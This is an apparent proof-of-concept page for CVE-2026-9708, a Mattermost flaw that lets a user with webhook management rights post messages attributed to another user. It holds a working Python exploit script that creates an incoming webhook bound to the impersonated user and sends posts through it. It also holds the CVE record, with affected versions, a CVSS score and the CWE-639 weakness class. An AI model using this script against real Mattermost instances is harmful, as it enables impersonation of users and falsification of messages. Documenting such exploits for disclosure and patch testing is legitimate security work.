CVE-2026-9708

# CVE-2026-9708 Mattermost Incoming Webhook Impersonation PoC # This PoC demonstrates how a user with webhook management permissions # can create posts attributed to another user by exploiting missing # access control validation on the assigned webhook user. import requests # Configuration MATTERMOST_URL = "https://your-mattermost-instance.com" WEBHOOK_ID = "your_incoming_webhook_id" TARGET_CHANNEL_ID = "target_channel_id" IMPERSONATED_USER_ID = "user_id_to_impersonate" ATTACKER_TOKEN = "your_personal_access_token" def create_malicious_webhook(): """ Step 1: Create an incoming webhook assigned to a user who does NOT have access to the target channel/team. """ url = f"{MATTERMOST_URL}/api/v4/hooks/incoming" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "channel_id": TARGET_CHANNEL_ID, "user_id": IMPERSONATED_USER_ID, # User without access to target channel "display_name": "Legitimate Webhook", "description": "Webhook for integration" } response = requests.post(url, json=payload, headers=headers) print(f"Webhook created: {response.status_code}") return response.json().get("id") def send_impersonated_message(webhook_id): """ Step 2: Send a message through the webhook. The message will appear as if it was posted by the impersonated user. """ url = f"{MATTERMOST_URL}/hooks/{webhook_id}" payload = { "text": "This message appears to come from another user.", "channel_id": TARGET_CHANNEL_ID } response = requests.post(url, json=payload) print(f"Message sent: {response.status_code}") if __name__ == "__main__": # Create webhook with impersonated user assignment hook_id = create_malicious_webhook() # Send message attributed to the impersonated user send_impersonated_message(hook_id)

{"cve": {"id": "CVE-2026-9708", "sourceIdentifier": "[email protected]", "published": "2026-07-13T09:16:25.253", "lastModified": "2026-07-13T17:01:11.600", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to validate that an assigned incoming webhook user has access to the target team or channel, which allows a requester with webhook management permissions to create posts or direct messages attributed to another user via crafted incoming webhook configuration and payloads.. Mattermost Advisory ID: MMSA-2026-00683"}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Mattermost", "product": "Mattermost", "defaultStatus": "unaffected", "versions": [{"version": "11.7.0", "lessThanOrEqual": "11.7.2", "versionType": "semver", "status": "affected"}, {"version": "11.6.0", "lessThanOrEqual": "11.6.4", "versionType": "semver", "status": "affected"}, {"version": "10.11.0", "lessThanOrEqual": "10.11.19", "versionType": "semver", "status": "affected"}, {"version": "11.8.0", "status": "unaffected"}, {"version": "11.7.3", "status": "unaffected"}, {"version": "11.6.5", "status": "unaffected"}, {"version": "10.11.20", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-13T14:44:57.510921Z", "id": "CVE-2026-9708", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}